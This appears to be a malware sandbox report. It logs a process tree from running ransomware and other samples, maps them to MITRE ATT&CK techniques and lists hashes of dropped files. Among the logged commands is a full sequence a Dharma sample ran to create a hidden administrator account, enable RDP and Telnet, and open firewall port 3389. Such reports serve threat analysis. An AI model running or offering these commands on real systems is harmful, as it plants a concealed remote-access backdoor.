  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=59 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7760 /prefetch:1
  2⤵
  PID:976
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=60 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7848 /prefetch:1
  2⤵
  PID:4888
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=61 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7772 /prefetch:1
  2⤵
  PID:1124
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=63 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6904 /prefetch:1
  2⤵
  PID:1404
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=65 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6792 /prefetch:1
  2⤵
  PID:5092
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7284 /prefetch:8
  2⤵
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:4392
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=7300 /prefetch:8
  2⤵
  PID:1944
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=68 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2904 /prefetch:1
  2⤵
  PID:3152
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=69 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1672 /prefetch:1
  2⤵
  PID:4296
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=70 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2852 /prefetch:1
  2⤵
  PID:496
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=71 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7356 /prefetch:1
  2⤵
  PID:2120
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=73 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6856 /prefetch:1
  2⤵
  PID:4672
- C:\Users\Admin\Downloads\CryptoLocker.exe
  "C:\Users\Admin\Downloads\CryptoLocker.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - NTFS ADS
  PID:5172
- - C:\Users\Admin\AppData\Roaming\{34184A33-0407-212E-3320-09040709E2C2}.exe
    "C:\Users\Admin\AppData\Roaming\{34184A33-0407-212E-3320-09040709E2C2}.exe" "/rC:\Users\Admin\Downloads\CryptoLocker.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:5204
  - - C:\Users\Admin\AppData\Roaming\{34184A33-0407-212E-3320-09040709E2C2}.exe
      "C:\Users\Admin\AppData\Roaming\{34184A33-0407-212E-3320-09040709E2C2}.exe" /w00000234
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5252
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1960,9145307010586798680,1900345176449826712,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5456 /prefetch:8
  2⤵
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:5584

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2944

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2900

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004CC 0x00000000000004C0
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4644

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5032

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4640

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:344

C:\Users\Admin\Downloads\Verus\Vеrus\Verus.exe
"C:\Users\Admin\Downloads\Verus\Vеrus\Verus.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:4548

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://temp/
1⤵
PID:1412
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffa1e2e3cb8,0x7ffa1e2e3cc8,0x7ffa1e2e3cd8
  2⤵
  PID:4788

C:\Users\Admin\Downloads\Verus\Vеrus\Verus.exe
"C:\Users\Admin\Downloads\Verus\Vеrus\Verus.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:5392

C:\Users\Admin\Downloads\Verus\Vеrus\Verus.exe
"C:\Users\Admin\Downloads\Verus\Vеrus\Verus.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:5412

C:\Users\Admin\Downloads\Verus\Vеrus\Verus.exe
"C:\Users\Admin\Downloads\Verus\Vеrus\Verus.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:5444

C:\Users\Admin\Downloads\Verus\Vеrus\Verus.exe
"C:\Users\Admin\Downloads\Verus\Vеrus\Verus.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:5472

C:\Users\Admin\Downloads\Verus\Vеrus\Verus.exe
"C:\Users\Admin\Downloads\Verus\Vеrus\Verus.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:5516

C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.13
1⤵
- Modifies registry class
PID:796

C:\Users\Admin\AppData\Local\Temp\Temp1_The-MALWARE-Repo-master.zip\The-MALWARE-Repo-master\Joke\Hydra.exe
"C:\Users\Admin\AppData\Local\Temp\Temp1_The-MALWARE-Repo-master.zip\The-MALWARE-Repo-master\Joke\Hydra.exe"
1⤵
- System Location Discovery: System Language Discovery
PID:5332

C:\Users\Admin\AppData\Local\Temp\Temp1_The-MALWARE-Repo-master.zip\The-MALWARE-Repo-master\Joke\CookieClickerHack.exe
"C:\Users\Admin\AppData\Local\Temp\Temp1_The-MALWARE-Repo-master.zip\The-MALWARE-Repo-master\Joke\CookieClickerHack.exe"
1⤵
PID:4568

C:\Users\Admin\AppData\Local\Temp\Temp1_The-MALWARE-Repo-master.zip\The-MALWARE-Repo-master\Ransomware\Dharma.exe
"C:\Users\Admin\AppData\Local\Temp\Temp1_The-MALWARE-Repo-master.zip\The-MALWARE-Repo-master\Ransomware\Dharma.exe"
1⤵
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
PID:1756
- C:\Windows\SysWOW64\ac\nc123.exe
  "C:\Windows\system32\ac\nc123.exe"
  2⤵
  - Executes dropped EXE
  - Enumerates connected drives
  - System Location Discovery: System Language Discovery
  PID:4532
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5192
- C:\Windows\SysWOW64\ac\mssql.exe
  "C:\Windows\system32\ac\mssql.exe"
  2⤵
  - Sets service image path in registry
  - Executes dropped EXE
  - Impair Defenses: Safe Mode Boot
  - Drops file in System32 directory
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious behavior: LoadsDriver
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:4928
- C:\Windows\SysWOW64\ac\mssql2.exe
  "C:\Windows\system32\ac\mssql2.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:6044
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Windows\system32\ac\Shadow.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6108
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Windows\system32\ac\systembackup.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4744
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c WMIC Group Where "SID = 'S-1-5-32-544'" Get Name /Value | Find "="
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5604
  - - C:\Windows\SysWOW64\Wbem\WMIC.exe
      WMIC Group Where "SID = 'S-1-5-32-544'" Get Name /Value
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5620
  - - C:\Windows\SysWOW64\find.exe
      Find "="
      4⤵
      System Location Discovery: System Language Discovery
      PID:5644
- - C:\Windows\SysWOW64\net.exe
    net user systembackup Default3104 /add /active:"yes" /expires:"never" /passwordchg:"NO"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5724
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user systembackup Default3104 /add /active:"yes" /expires:"never" /passwordchg:"NO"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4080
- - C:\Windows\SysWOW64\net.exe
    net localgroup Administrators systembackup /add
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5496
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup Administrators systembackup /add
      4⤵
      System Location Discovery: System Language Discovery
      PID:5740
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c WMIC Group Where "SID = 'S-1-5-32-555'" Get Name /Value | Find "="
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5024
  - - C:\Windows\SysWOW64\Wbem\WMIC.exe
      WMIC Group Where "SID = 'S-1-5-32-555'" Get Name /Value
      4⤵
      System Location Discovery: System Language Discovery
      PID:1476
  - - C:\Windows\SysWOW64\find.exe
      Find "="
      4⤵
      System Location Discovery: System Language Discovery
      PID:5664
- - C:\Windows\SysWOW64\net.exe
    net localgroup "Remote Desktop Users" systembackup /add
    3⤵
    - Remote Service Session Hijacking: RDP Hijacking
    - System Location Discovery: System Language Discovery
    PID:4468
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup "Remote Desktop Users" systembackup /add
      4⤵
      Remote Service Session Hijacking: RDP Hijacking
      System Location Discovery: System Language Discovery
      PID:5188
- - C:\Windows\SysWOW64\net.exe
    net accounts /forcelogoff:no /maxpwage:unlimited
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3564
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 accounts /forcelogoff:no /maxpwage:unlimited
      4⤵
      System Location Discovery: System Language Discovery
      PID:3600
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5460
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1868
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v systembackup /t REG_DWORD /d 0x0 /f
    3⤵
    - Hide Artifacts: Hidden Users
    - System Location Discovery: System Language Discovery
    PID:200
- - C:\Windows\SysWOW64\attrib.exe
    attrib C:\users\systembackup +r +a +s +h
    3⤵
    - Sets file to hidden
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:5500
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall add portopening TCP 3389 "Remote Desktop"
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:4388
- - C:\Windows\SysWOW64\sc.exe
    sc config tlntsvr start=auto
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:1680
- - C:\Windows\SysWOW64\net.exe
    net start Telnet
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4528
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start Telnet
      4⤵
      System Location Discovery: System Language Discovery
      PID:340
- C:\Windows\SysWOW64\ac\EVER\SearchHost.exe
  "C:\Windows\system32\ac\EVER\SearchHost.exe"
  2⤵
  - Executes dropped EXE
  - Enumerates connected drives
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  PID:2128

C:\Users\Admin\Downloads\Verus\Vеrus\Verus.exe
"C:\Users\Admin\Downloads\Verus\Vеrus\Verus.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:5864

C:\Users\Admin\AppData\Local\Temp\Temp1_The-MALWARE-Repo-master.zip\The-MALWARE-Repo-master\Ransomware\$uckyLocker.exe
"C:\Users\Admin\AppData\Local\Temp\Temp1_The-MALWARE-Repo-master.zip\The-MALWARE-Repo-master\Ransomware\$uckyLocker.exe"
1⤵
- Sets desktop wallpaper using registry
- System Location Discovery: System Language Discovery
PID:5936

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3828

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Hidden Users

T1564.002

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Safe Mode Boot

T1562.009

Modify Registry

T1112

Subvert Trust Controls

T1553

SIP and Trust Provider Hijacking

T1553.003

Credential Access

Discovery

Browser Information Discovery

T1217

Password Policy Discovery

T1201

Peripheral Device Discovery

T1120

Permission Groups Discovery

T1069

Local Groups

T1069.001

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Remote Service Session Hijacking

T1563

RDP Hijacking

T1563.002

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Defacement

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
5431d6602455a6db6e087223dd47f600

SHA1
27255756dfecd4e0afe4f1185e7708a3d07dea6e

SHA256
7502d9453168c86631fb40ec90567bf80404615d387afc7ec2beb7a075bcc763

SHA512
868f6dcf32ef80459f3ea122b0d2c79191193b5885c86934a97bfec7e64250e10c23e4d00f34c6c2387a04a15f3f266af96e571bbe37077fb374d6d30f35b829

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
7bed1eca5620a49f52232fd55246d09a

SHA1
e429d9d401099a1917a6fb31ab2cf65fcee22030

SHA256
49c484f08c5e22ee6bec6d23681b26b0426ee37b54020f823a2908ab7d0d805e

SHA512
afc8f0b5b95d593f863ad32186d1af4ca333710bcfba86416800e79528616e7b15f8813a20c2cfa9d13688c151bf8c85db454a9eb5c956d6e49db84b4b222ee8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\21d0035d-02bc-4ce0-a8ca-f5870b7b0019.tmp

Filesize
7KB

MD5
bd66e33f9077ca83053ba7a08a46f294

SHA1
31a30d1a9c57c6af0d85579aa64aa792d0853a9f

SHA256
624ed0cdcdda5ee54c008ba3dfb794b30bf95164ff7942f7d6fbff624b622a50

SHA512
401e09e83373c42353dd7a8dc2340f2ec769818287a6fe58e610ee143fe9e6788265dffb810c5b70fac0fbf7045e8c7841c678eee00db9395f9a40d52a2b594c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\30871ab7-09d2-4e49-b86c-6562ce8ab423.tmp

Filesize
1KB

MD5
72c7ccce7edd92a95c7ecdb93c97965d

SHA1
59e8c2f73a01e4b78286e1e17d0693b88e886ae2

SHA256
cdcbb1dec9afef7583f25bfa0ef05e8bf50a398efb806b9f5559a119b699efc9

SHA512
03544267040b528628c083423f80a16407adeb0d28fe1e2544347268c16aa1ef981d268f5dfa85062258e2992a1f64b9ad5db898e47f40f8f3c410494d90526f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000001

Filesize
163KB

MD5
32a3051ecde2660a074d58713257b9e5

SHA1
67d0b54e17f49a9a20cfc9c9ebe4dfbc50bf54fb

SHA256
02147983c448492a42664667ba4d80e10b69bd07d8179ea05b87d79933bf3149

SHA512
d80e2efb029f6a8797c72384eef5e55755feee2fe27aa17c6621ee7e360c1aee89c21ed26f784fef6afe0ade8cbef0eb9cf8b608373449eab35a1142e0a0644c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000004

Filesize
31KB

MD5
0df35fd5b91779a0b474ab3f6d9cc863

SHA1
cd7c196fa83c92ece2e35a20613ff4b4be11b648

SHA256
856f1798a2365376a0dc05859a9ffd887d5a8c760d80535f2eeb2f6432507a9d

SHA512
0c5b80925f4196edae88247daed62985b3f50ef10bf2fe8930848a0e81998ff2261b254592b6e8d784666283338c54c5fff4099ece25d24be22ac91a48c31237

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00006a

Filesize
19KB

MD5
f05c6d94360e035588131e8b3c548e73

SHA1
04dd1d21d5f4eea8e7cb5c20ff2ba1c118eda89f

SHA256
e67596a7afcb0ead565313ea68c9799d005d3013fdeaa6e4823f4dd43b65076c

SHA512
49b7749b3d30b58acf152654b391521395e9295f42b80d945a003906f5924f0e4d906ac90052e0ed0c545cac9ae2201be5b59d07e8ebefd44db64fad887e4f1e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
2KB

MD5
63b35aa01c6d4dc5cda5fdb214cf404f

SHA1
f27a84ab3c75e43a22171222997cb344d6b90c05

SHA256
ac2362b4d40125bed91cb03b368b1bd72857eb8ff1beb92bbdacf33f784e03f5

SHA512
0dc79864dcb7ec94ef6f37455c47a47d817cc9d1d73d841811b8ba79323fcaf70353b640abf9f21a988be15cbc6a2aa98d4bb8ca8ab4df65235663869aab6f69

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
3KB

MD5
b554d4deac7afc78a293942d21f18d69

SHA1
0c33350f8e5498866620cd84fb0630a6c98186df

SHA256
055f9f05572ff91a96343201d65b0bfa9268e46dc18282e0c365c37c006d10d8

SHA512
036076220f7bedde5a910d9b0aa54bf86c372be6baa6b51da58808d03f38b7109ddfeed698811b8caaf08b096ca124e0eba91304c71df61e4a58c6de1020edfa

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
2KB

MD5
a6de7c4f60ccc615fc4cca477a75de7a

SHA1
45c55c9e95151fac083aad67ea3c95be97cd6153

SHA256
5189eaa674f5d2e267bd1015095ed59bf265db2d8c13616165575259ea04621a

SHA512
1bd902487798d0de4aa3c1b865dc82503872094b8abbf4658008716eaebd860330fef9662ddaeaf1ba6549aa1cf7bf7e4a4157d775195fd569fd903ce46f815e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
3KB

MD5
c55a2073f9d4505ebcb407d04d64efbe

SHA1
9247a0919025069a77dcf03baa139ea2cede60e8

SHA256
ecfae0df906f4a47493aa7fd01f6c674a98ad63b6b03ffdebd0eb644545b89bf

SHA512
aff4ae0d2c7620b206f8f17e9bf72a1fcec2e92ce826ded012b5f976ae214ddeb70d81e2842d95f7aff32e41cbefe543e1e55375e8518088897d8f9b53827354

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
624B

MD5
bd1e7a25cca06a1c638db1e3f068be26

SHA1
da5468c8599abea7f103915fc7fdfd25faf5fafa

SHA256
b044c32407c52756fc5fa9e6c23a38a53272d857324941ba7c64c5f46d6177e3

SHA512
113c85aee938455029a14181e4c716fd02f03afedd5103ac3fba283261e9fef6951f541c7c26673622334804520160f531d16663078cb59078b3b822c90f9a79

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
2KB

MD5
d81f82ef44bd19b59e02cedf29a8dac1

SHA1
10b08c7419d6dbb0502cf21e170eea9f1d6a0c87

SHA256
0465cc9731e6605e87feead5f04c84c08b96150d8877c96c9ce861203863a6b1

SHA512
714e0d3203e53b70368e61bb775cb8dc5d7ac0f8155eda9b88fd6a138649935aacc206a9b4b73791d147d58c96080c80dd4cc251d3baf24fd2e8bc8211e04a0b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
6KB

MD5
a5e64b02d242d49aa7486c5935004b5a

SHA1
f74c356e9e388d28eccec7160bfaf6efd0c85f89

SHA256
157b9361ed1fadfa1a1ba900b198586eaacb429523d37f26aa2cbd93b0fd1a1a

SHA512
8dd0a8a93dc2f71c46933c7bbeeff19413e15bf3e21913f02cb9915d93293614f7bf06ba9d4c9632935245a4cb00b2f7c10c60aa5f219d9a840a82005646de27

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
2KB

MD5
ba5c310b454bd43933466fc6a854341b

SHA1
bd1bf5dc13fc9f9d9657aef522b3b5e7d514da9e

SHA256
622241d2bb4de8ef184d9746aab8f6c2812fc4e8b3115915d3ced26ce93a2eb7

SHA512
60ce6df1eb10a273dcd57410fa569ddc041b7c2c91dcf64e453ccfe7aee7f5c08c578699896710669104b881550152f9573c3c38adc8a681b7fabd0a4e704ff3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
6KB

MD5
ebee7e9b5884511583eeb9eacd0cf0aa

SHA1
02c66ee07c511240ac1e71963a0a8c77e44cb5e1

SHA256
84e67b4bdc9cfa12e24da4e2b9c2778030e02357d29366d2f30f71749f3040bc

SHA512
b727a262f372429708f3505ff17b7a381710c70ada989b72e379a98236121674a3f36868bf3bfe7af74e729fbd5358b70fc6585f2f8124d282af5d83f04d1dc9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
3KB

MD5
4456454b1d728270abd5a877c7999938

SHA1
057cc2d251e3ad4c6523f9e9c889fba3400b0a96

SHA256
a7ee25045c4acd7380e7e75aaf960c152e638fecdb585d410b860caa23299d60

SHA512
ec1a4809bcaf11dc4a02e2cfe4b5213925fbbccc9e292870a9e9d803905c0949991a3d61087095eb333aadd5cefba1c26080a92da224bb45f99b245158c6afa2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\File System\000\t\Paths\MANIFEST-000001

Filesize
41B

MD5
5af87dfd673ba2115e2fcf5cfdb727ab

SHA1
d5b5bbf396dc291274584ef71f444f420b6056f1

SHA256
f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

SHA512
de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
920B

MD5
42acc6393f070c919068350f5d32f815

SHA1
543dd4e2b5a2b8133bcf2c5cfcd3dfc8925f46dc

SHA256
77c3f59bc2a7c50415855388ecb8ac3fd64b13881dfe285bcc651c12c7e7c2cc

SHA512
85475fbb66eb6545009277e6bdd5dab89dd828702c31cb9ea890603120035aa3164dd4089e03efefc9576e34bd0e809ca0fa4f1075a947218916913ac06ada04

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
5KB

MD5
7eedcf467ca2a3890fe190de922d6dc4

SHA1
56563a1b3d0c8284b96e6c2a0bb25a781fe59001

SHA256
458e9465a32dcfe5c51df8ab70de30248c99dd56960cd1daae936537da9c0fac

SHA512
9de52a674cf85f170f017583fc1df16a11d88e2410a2eb1d65bf93cfbf4170cd83f78d5809edece6f4530011b9e19d58ff13a7158c6d4d98bd0005ba83eeb746

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
5KB

MD5
